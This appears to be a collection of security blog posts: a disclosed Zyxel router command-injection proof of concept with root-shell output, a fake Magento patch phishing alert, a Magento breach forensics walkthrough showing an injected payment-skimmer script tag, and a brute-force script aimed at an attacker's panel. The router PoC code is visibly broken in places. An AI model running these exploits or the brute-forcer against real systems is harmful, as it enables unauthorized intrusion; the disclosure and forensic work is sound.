Hacking the KPN Zyxel DSL router (P-2812HNU-F1)

zyxel p-2812uhn-f1

Zyxel P2812 DSL routers are commonly used in the Netherlands and Norway. A command injection vulnerability exists in the latest KPN/Telfort routers that allows root access.

Proof of concept exploit

Works against firmware V3.11TUE8. At least TUE3 is also affected, but requires slight modification (no sessionKey). Telenor branded Zyxel routers are not affected since at least BLN.18.

#!/usr/bin/env python3 
# 2017-02-03 gwillem@gmail.com

import requests
import re

USER = 'user'
PASS = '1234'
URL = ''
CMD = '/sbin/telnetd -l/bin/sh -p9999 &'

s = requests.Session()
s.post(URL + 'login.cgi', data=dict(
r = s.get(URL + 'fileuser_mod.cgi')
assert 'sessionKey' in r.text, r.text

sessionkey = re.search("gblsessionKey = '(.+?)'", r.text).group(1)
assert len(sessionkey) > 24, sessionkey

r = s.post(URL + 'qos_queue_add.cgi', data=dict(
        WebQueueInterface='WAN`%s`' % CMD,

if "window.parent.document.activePage('network-qos',1)" in r.text:
    print("Success, root shell at port 9999")
    print("Did not work, see output:\n" + r.text)


$ ./open-sesame.py
$ telnet 9999
Connected to
Escape character is '^]'.
# id
uid=0(root) gid=0(root)

Disclosure timeline

2017-02-05 Notified cert@kpn-cert.nl
2017-02-11 Notified cert@telenor.net
2017-02-15 KPN: "escalated to Zyxel"
2017-02-23 Telenor: "we have fixed this already in BLN18"
2017-02-23 KPN: "still waiting for Zyxel"
2017-04-07 KPN: "still waiting for Zyxel"
2017-05-08 KPN: "we got a patch"
2017-05-15 KPN: "still testing the patch"
2017-05-18 KPN: "still testing the patch"
2017-05-30 KPN: "still testing the patch"
2017-06-15 KPN: "testing failed, waiting for Zyxel"
2017-09-28 Public disclosure

Securing access

A firmware update will surely lock me out, and my goal is to override some of the Zyxels DNS settings. I ensure future access by eliminating the call-home and update mechanism (TR-069).

The /etc partition is mounted as tmpfs on a running system and populated in /etc/init.d/rcS. The root partition is mounted read-only. To persist my changes:

ls -l /proc/*/fd/* | grep etc
pkill smbd
pkill dnsmasq
# kill everything else that blocks
umount /etc
mount -t yaffs2 -o remount,rw /

Now I can alter /etc/init.d/rcS. Warning: a syntax error will brick my system. So it’s best to minize modifications to the system and put most of it on a USB memory stick.

My modified rcS script only copies a file to /etc/automount/automount.d/auto-usb-run.sh. This is run every time a USB disk is inserted. If the USB disk contains an init.sh file, it is executed. Extra profit: I only have to re-plug my USB stick to test changes to my script.

In my init.sh script, I’ll ensure to kill zytr069main. This process does a periodic check with my ISP and will possibly download new firmware.

zyxel p-2812uhn-f1

Zyxel rant

IMHO Zyxel’s hardware is quite ok, but the software tells a tale of tight deadlines and churn in the dev team. For example,

This Zyxel model was rooted before but it was fixed (incompletely) by stripping special characters in user input.

Note-to-self on firmware analysis

The ISP-branded firmware is not publicly available, but the latest Zyxel firmware is very similar and up for grabs.

Installed the latest binwalk and all its dependencies, especially yaffs and sasquatch.

Ran binwalk -eM <image> to extract the root filesystem. Under /usr/share/web I found the GUI system.

Ran strings on these binaries to find interesting pointers, for example, all binaries that do shell-interpreted system calls:

$ strings -f * | grep % | grep '>'
wlan_wps.cgi: %s conf > /dev/null
wwancfg.cgi: cp -rf %s %s >/dev/null 2>/dev/null
status.cgi: %s lsg | grep nLineState | awk '{print $2}' | sed -e 's/nLineState=0x*//g' > /tmp/linestatus
diagnostic.cgi: echo set to html %d,%s>> /dev/console

Useful tools: mitmproxy in combination with the SwitchySharp auto proxy switcher for Chrome.


  1. Zyxel firmware fixes are not necessarily distributed among all ISP clients.
  2. The Zyxel firmware does not seem subject to rigorous QA procedures, for which the burden is then shifted to ISPs.
  3. This is a killer for quick distribution of hot-fixes.

Why ordering HTTP headers is important

RFC 2616 in decay

If you code against Akamai hosted sites, you could be rejected because your HTTP library sends request headers in the wrong order. In fact, most libraries use undefined order, as the IETF specification says it doesn’t matter.

In casu:

$ URL=http://www.bulgari.com
$ UA="User-Agent: Mozilla/5.0 My API Client"
$ ACCEPT="Accept: */*"

$ curl -v -H "$UA" -H "$ACCEPT" $URL |& grep '< HTTP'
< HTTP/1.1 403 Forbidden

$ curl -v -H "$ACCEPT" -H "$UA" $URL |& grep '< HTTP'
< HTTP/1.1 302 Moved Temporarily

My guess: they identified that major browsers send HTTP headers in a specific order, and they implemented this trick to fend off spammers.

Update After some more experimenting, it appears that this behaviour depends on order and the Accept header:

$ ACCEPT="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"

$ curl -v -H "$UA" -H "$ACCEPT" $URL |& grep '< HTTP'
< HTTP/1.1 302 Moved Temporarily

$ curl -v -H "$ACCEPT" -H "$UA" $URL |& grep '< HTTP'
< HTTP/1.1 302 Moved Temporarily

Also, no block without Mozilla/5.0 in the User-Agent.

Conclusion: they will block your request if:

Update 2 Other sites at Akamai don’t expose this behaviour, so it could be a single site issue and/or a configurable setting.

(picture by Olli Homann)

Warning: fake Magento patch 9789 contains virus

virus mail

Update May 21st: a similar phishing mail circulates about a fake patch SUPEE-1798.

Update Apr 22nd: added reference to Neutrino Bot and POS systems

This week a mail was sent out to announce the new Magento patch SUPEE-9789. It is fake and it contains malware. There is no patch 9789. The message (full headers below) mimics an official Magento accouncement. It has two malicious payloads:

  1. An attached Word document with macro, identified as virus
  2. A request to run webpos.exe, which was identified as a new variety of the notorious Neutrino Bot (VirusTotal, Malwr).

This specific malware is known to target POS systems, a.k.a. cash registers. Among other things, it will harvest payment data and passwords, and enslave the cash register into a botnet that can be used for DDoS attacks.

Curiously, the malware is hosted on a server of MageStore, a legitimate vendor of POS systems. It appears that MageStore runs a vulnerable version of ProFTPd which allows anyone to upload files to their server. Unfortunately, MageStore couldn’t be reached, and the malware is still on their server as of April 22nd.

Please get in touch if you have received this message as we are trying to establish the scope of intended targets. So far, I’ve received reports from extension vendors and hosting providers.

Thanks to Andrew Howden for additional research.

Full headers:

Return-path: <info@magestore.com>
Envelope-to: REDACTED
Received: from mail.hal-pc.org ([])
	by REDACTED with esmtp (Exim 4.84_2)
	(envelope-from <info@magestore.com>)
	id 1d1OyU-0001Zw-Go
	for REDACTED; Fri, 21 Apr 2017 05:11:12 +0200
Received: from mail.hal-pc.org (localhost [])
	by mail.hal-pc.org (Postfix) with ESMTP id 66AD33E8AA7E
	for <REDACTED>; Thu, 20 Apr 2017 22:11:09 -0500 (CDT)
Received: from (unknown [])
	(Authenticated sender: jstan@hal-pc.org)
	by mail.hal-pc.org (Postfix) with ESMTPA id BA8DF3E8AA7D
	for <REDACTED>; Thu, 20 Apr 2017 22:11:03 -0500 (CDT)
Message-ID: <5BA1E85F5783AD1EC2C78E3226331470@magestore.com>
From: "info@magento.com" <info@magestore.com>
Subject: Critical updates for Magento 1.x and Magento 2.x versions - SUPEE-9789
Date: Thu, 20 Apr 2017 20:11:01 -0700
Organization: Magento.com
MIME-Version: 1.0

A Magento breach analysis (part 1)


Part of a series where Magento security professionals share their case notes, so that we can ultimately distill a set of best practices, tools and workflow.

Part of the job of running the MageReport service is that I get to investigate tons of hacked stores. About 50-200 new stores get hacked per day, so I figured I’d walk you through an investigation of a recent case. Some basic programming and Linux knowledge assumed. All names/hashes/passes in this article are anonymized.

1. Hack detected?

My malware scanner does a nightly scan of all our servers. This morning I got alerted on a store that is completely patched, but still showed suspicious code:

$ mwscan /data/web/public/
/data/web/public/media/tmp/shs.php: obfuscated_eval

And the file starts with:

$auth_pass = "";
$default_action = 'FilesMan';
// and so on

Indeed fishy! 🐠 Supposedly it’s a web-based file manager, which is often used to upload more malware or to ensure future access. Second, preg_replace with the /e modifier is a common way to implement eval in PHP and to evade malware scanners.

But is it malicious? We are not going to run it; it might alert the intruder. If this site was actively using git, we could have consulted the commit history and then check with the original developer whether the file is legitimate. In this case, the site is not using git (or, no published metadata) but for now I assume that the detected file is Not Good.

2. Pick an approach

My goal is to obtain a complete overview of the intruder’s entry point and actions. Any privileges that the intruder may still have, can be removed and any damage can be undone.

I don’t want to alert the intruder before the investigation is finished. It might trigger him/her to “pull the trigger” (delete everything to destroy traces). Fabian Blechschmidt noted that it is better to pull the plug and investigate an isolated server instead. That is very true, but not always feasible, as the merchant might not agree.

In this case, I won’t disable any backdoors or rogue accounts, until I know exactly what has happened. Only then can I be reasonably confident that I can close all the privileges/backdoors at the same time. One missed backdoor is enough to start all over again next week!

During the investigation I keep a logbook (simple markdown file) where I collect hypotheses, timestamps, circumstantial/hard evidence, and todos.

3. Preserve potential evidence

First, I copy all the relevant data to a safe location, in case the intruder gets anxious and starts cleaning up. This includes site files, databases, and web-, firewall-, system- and database logfiles.

Important: the server cannot be trusted for now, so I should not push files from it, but rather pull them from another, trusted server. In other words, I should not initiate authorized connections from the compromised server. Also, I should not use SSH agent forwarding, because one could theoretically hijack my keys.

For copying data: if I can, I use dd to make an exact copy of the block device. If that’s not possible, I use rsync -a which preserves at least most file attributes.

A law-enforcement forensics team would come in a black van, hotwire the AC power, freeze the compromised server and clone RAM and disks. This is an obviously better approach, but black vans are pricey and for most Magento breaches not required.

4. Establish a timeline

What happened when?

$ ls -l /data/web/public/media/tmp/shs.php
-rw-rw-rw- 1 app app 24726 Sep 11 2014 /data/web/public/media/tmp/shs.php

2014, really? This file was not detected yesterday. What you see is the last modification time (aka mtime). This is trivial to tamper (eg. with touch -am). The stat tool tells us more:

$ stat /data/web/public/media/tmp/shs.php
Access: 2017-03-20 07:16:27.882583096 +0000
Modify: 2014-09-11 12:34:35.000000000 +0000
Change: 2017-03-20 07:16:27.890583097 +0000

On most Linux systems, the change time (ctime) cannot be modified by non-root users, so this is fairly reliable. In this case, it was modified less than 48 hours ago, great! As logs are often purged after 2-4 weeks, the fresher the traces, the better.

Also, I verified the timezone of the server. If it is not UTC, I should convert all timestamps to a standard time, so I can correlate it with other sources.

5. Collect traces & evidence

What happened here on the 20th of March, 07:16:27 UTC? In practice, most PHP malware is uploaded through HTTP, so I check the webserver logs first. I filter all requests within 2 minutes before and after our timestamp.

This is a busy site, so I further narrow down the relevant log lines by filtering POST requests, as these are most often used to transform or upload data.

$ zcat -f /var/log/nginx/access.log* | grep '2017-03-20T07:16:'  | grep POST
2017-03-20T07:16:03+00:00 FR POST /index.php/myadmin/catalog_category/save/?isAjax=true HTTP/1.1
2017-03-20T07:16:04+00:00 FR POST /index.php/myadmin/catalog_category/edit/id/885/?isAjax=true&isAjax=true HTTP/1.1
2017-03-20T07:16:27+00:00 FR POST /index.php/myadmin/newsletter_template/preview/ HTTP/1.1
2017-03-20T07:16:27+00:00 FR POST /index.php/myadmin/newsletter_template/drop/ HTTP/1.1
2017-03-20T07:16:52+00:00 FR POST /index.php/myadmin/catalog_category/delete/id/885/_blcg_token_/<snip>/?isAjax=true&isAjax=true HTTP/1.1

Presto, we have an exact timestamp match!

Sidenote: your log format might be different and not contain a country code. Hint, use the geoiplookup utility.

Now, this suggests that the malware was installed by an authorized call to the newsletter system. This is pretty worrying, as:

  1. The intruder has an admin account to the store
  2. The intruder knows the secret location of the backend panel

The login came from a French IP. Now I happen to know that this merchant does not have staff in France, but to be sure I check the IP owner:

$ whois
netname:        NET-TTNN-NOS-OIGNONS
descr:          Subnet Nos Oignons chez TTNN

Nos oignons? This appears to be a Tor exit node. No legitimate merchant staff would use the Tor network for store administration.

Building a narrative

What else has this IP requested?

# only a few lines shown for brevity
$ zcat -f access.log.4.gz | grep
2017-03-20T07:11:07+00:00 FR GET /index.php/myadmin/sales_order/?SID=<snip> HTTP/1.1
2017-03-20T07:11:08+00:00 FR GET /media/css_secure/02c96sddefddba3fcc06108256401ece4.css HTTP/1.1
2017-03-20T07:14:21+00:00 FR POST /index.php/myadmin/system_config/save/section/design/ HTTP/1.1
2017-03-20T07:14:51+00:00 FR POST /index.php/myadmin/cache/massRefresh/ HTTP/1.1
2017-03-20T07:16:42+00:00 FR GET /media/tmp/shs.php HTTP/1.1

And the user-agent header for all these requests:

Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0

There are many clues hidden here.

  1. The first request is not a login request, which implies that there are more relevant requests but probably from a different IP.
  2. The intruder fetches static assets and the requests are distributed over the timeframe of a few minutes. This suggests that an actual human is interacting with the control panel, and not an automated worm. Somebody took quite some effort here! Also, I would speculate that the intruder is not in the UTC timezone, as those black hats are known to be sound asleep between 6 and 11 am ;)
  3. The intruder fetches the file manager a few seconds after it was created, likely to verify whether the upload had succeeded.
  4. The given user agent is not very common, as it is more than a year old (Firefox release history). So it could be fake, or an old browser bundled with the Tor client. I should look for other requests with this agent.
  5. Something was saved in the design section of the panel and the cache was refreshed. I should verify whether the templates have been tampered with.

So far, we have found that somebody tried to hide their identity and that an obfuscated PHP file was installed through the newsletter module. Enough indicators to assume that the file is malicious and somebody gained unauthorized access to the backend.

Somebody lost their password

Now, which admin account was used here? Unfortunately, that is not logged on most systems (as it is part of the POST data). But perhaps I can infer it from other sources.

First, I check whether any admin accounts are likely inserted using SQL injection. As most attackers are too lazy to fill all the non-required fields, I check for admin accounts that have NULL fields:

$ echo 'select email,username,created,modified 
	from admin_user' | n98-magerun db:console

In this case, no NULL fields showed up, so likely all the admin accounts are in use as legitimate accounts, and one has been compromised. But which? We can check the last login date:

$ echo 'select username,logdate from admin_user 
	order by logdate' | magerun db:console
<snip> 2017-03-20 06:56:56
<snip> 2017-03-20 07:18:53
<snip> 2017-03-20 07:20:39
[..long list of users..]
<snip> 2017-03-20 09:38:29
<snip> 2017-03-21 08:26:18
<snip> 2017-03-21 13:52:27

Ouch, based on the timestamps, that still leaves us with a gazillion possibly compromised accounts.

Logging in without logging in

Let’s take a step back: how did the intruder log in to the backend panel in the first place? I search the logs for suspicious backend logins (POSTs to /myadmin) but cannot find anything. Then I search for the specific user agent and I also look for any given basic auth usernames:

$ zcat access.log.4.gz | grep 'Firefox/45.0'
2017-03-20T07:09:48+00:00 US - GET /rss/catalog/notifystock/ HTTP/1.1
2017-03-20T07:10:02+00:00 US mike GET /rss/catalog/notifystock/ HTTP/1.1
2017-03-20T07:11:07+00:00 FR - GET /index.php/myadmin/sales_order/?SID=<snip> HTTP/1.1

Bingo! A minute before our French Tor friend enters the backend panel, a basic auth request (“mike”) is made to the catalog RSS endpoint, using a US Tor IP.

But wait, can this be used as an alternative method to log in to the backend? I try to replicate it on a test store. Given the right password, the notifystock endpoint indeed reveals the secret address to the backend panel. But I cannot login though. Wait, notifystock sends a PHPSESS cookie with a hash value. What if I append this value as ?SID=xyz to a backend address? Indeed, that works! This seems like a lot of trouble to circumvent the regular backend login page. Perhaps the intruder uses it to evade login POST access control, a common security filter. This required copy-pasting of the session cookie could also explain why there is a minute between the notifystock hit and the first backend request.

So I’ve established that at least the mike admin account is compromised. To quickly check whether any weak passwords were used, I use this cool magerun plugin written by Peter O’Callaghan:

$ n98-magerun hypernode:crack:admin-passwords --active --force --rulesets=best64 1000 special vendors -v

[8/13] Cracking mike
   29876/211981 [===>------------------------]  14% < 1 sec 16.0 MiB

| User          | Hash       | Cracked | Password  |
| mike          | 557466e... | Yes     | mike123   |

Right, username + 123 is probably not such a strong password. I check the logs and find that in the last week, brute forcers have tried to guess the passwords for 5481 accounts.

Couldn’t we block this? Our systems use adaptive filtering which blocks access after a few unsuccessful login attempts, however brute forcers have recently started to use botnets and Tor nodes. These distributed attack sources are harder to identify, see also my call for honeypot volunteers.

Adding up, it seems highly likely that the mike account got brute forced.

6. Finding other hack artifacts

Remember that the intruder modified the design earlier? Let’s see if anything ended up in the header or footer:

$ n98-magerun config:get 'design*'
design/footer/absolute_footer: <script src="https://analiticoscdn.com/js/static.js" type="text/javascript"></script>

Indeed, a remote Javascript file is injected in every page (readable copy here). No surprise: it skims payment data and forwards it to a server registered in Vladivostok. However, it’s the first time I see a malware that was specifically written to intercept major payment providers such as Stripe, Adyen, Pin Payments, Eway Rapid and Heidelpay.

Finally, I routinely check other areas for possible artifacts. Anything on the filesystem that was modified within the last 48 hours:

$ find /data/web -type f -ctime -2 

Possible a rogue cron was inserted?

$ crontab -l -u app

Rogue background processes?

$ pgrep -lu app

Rogue database triggers? Yes, they exist.

echo 'SHOW TRIGGERS' | n98-magerun db:console

These produced no further suspicious traces.

7. Conclusion

I’ve walked you through a pragmatic investigation of a Magento hack. What I discovered:

Up next: I invite two professionals to share their case workflow, so we can all learn from them:

An OpenCart/Magento hacking dashboard

This post shows how sophisticated Magento hacking operations have become nowadays. And a measure to counter this!

While investigating a bruteforced Magento store, I noticed that the hacker logged in using a curious referrer site:

"GET /rss/catalog/notifystock/ HTTP/1.1" 200 5676 ""

The site at shows:

brute force dashboard

A “Magento report panel” asks for a Пароль (password), so we can’t enter. But in the page source (beautified JS here) are some clues about its evil intentions:

$.post("/home/getServers", function(n) {
$.post("/home/GetCountGoodLastDay", function(n) {
$.post("/home/GetCountServerLastDay", function(n) {
$.post("/home/GetCountSuccessLastDay", function(n) {
$.post("/home/ChangeMarkState", {
$.post("/home/ChangeComment", { 
$.post("/home/getCount", { 
$.post("/home/ChangeShell", {
$.post("/home/ChangeReservedLogins", {

Apparently somebody has built a sophisticated dashboard to manage bruteforce Magento hacking operations! It seems to show the daily progress on hacked Magento stores and it has a GUI method to mark found servers as “success”. Also, it can be used to log in to the backend of hacked stores.

I checked my forensic notes of previous cases and found that this dashboard was used in at least one other case. Sysadmins, check your server logs!

Update April 11th: Super-sleuth Len Lorijn noted that an “Opencart Report Panel” is running on the same server. This signifies that e-commerce hackers are platform agnostic. If there’s money flowing through it, it’s worth hacking.

Returning the favour

I wonder if the culprit has bruteforce protection on his own management panel. Wouldn’t it be a nice gesture if the bruteforcer got bruteforced? Now, I won’t do that, as it is not allowed in my country. But if you happen to live in a place where that is not the case (anyone from Belize?), you could use something like this (educational disclaimer, yadie yada):

#!/usr/bin/env python3
Brute force the admin password
of a Russian brute forcer's admin panel

import requests
URL = ''

print("Downloading Russian wordlist...")
wordlist = requests.get('https://github.com/svetlitskiy/wordlist-russian/blob/master/russian-words.json?raw=true').json()

for word in wordlist:
	print("Trying {}".format(word.encode('utf-8')))
	resp = requests.post(URL, data=dict(Password=word))
	if resp.status_code == 200 and 'form action="/Account/Login"' not in resp.content:
		print("{} looks good!".format(word.encode('utf-8')))

In Dutch we have a very applicable saying:

een koekje van eigen deeg

which translates to

give someone a cookie from his own dough